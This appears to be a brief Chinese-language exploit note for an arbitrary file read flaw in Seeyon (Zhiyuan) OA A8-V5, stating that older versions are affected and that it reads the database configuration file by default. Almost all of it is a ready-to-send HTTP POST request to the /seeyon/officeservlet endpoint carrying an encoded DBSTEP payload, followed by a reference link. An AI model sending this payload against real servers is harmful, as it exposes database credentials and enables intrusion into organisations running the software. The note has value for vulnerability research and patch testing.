致远OA A8-V5 任意文件读取

# 致远OA A8-V5 任意文件读取

影响老版本，默认读取数据库配置文件。

“`
POST /seeyon/officeservlet HTTP/1.1
Host: target
…

DBSTEP V3.0 331 0 0 currentUserId=zUCTwigsziCAPLesw4gsw4oEwV66
RECORDID=wLehP4whzUoiw=66
CREATEDATE=wLehP4whzUoiw=66
originalFileId=wV66
needReadFile=NrMGyV66
originalCreateDate=wLehP4whzUoiw=66
OPTION=LKDxOWOWLlxwVlOW
COMMAND=BSTLOlMSOCQwOV66
TEMPLATE=qf85qf85qfDfeazQqAzvcRevy1W3eazvNaMUySz3d7TsdRDsyaM3nYli
affairMemberId=wV66
affairMemberName=N1liNg66
“`

ref：

https://mp.weixin.qq.com/s/xZT7RRRxsNX6BN3bwFK67A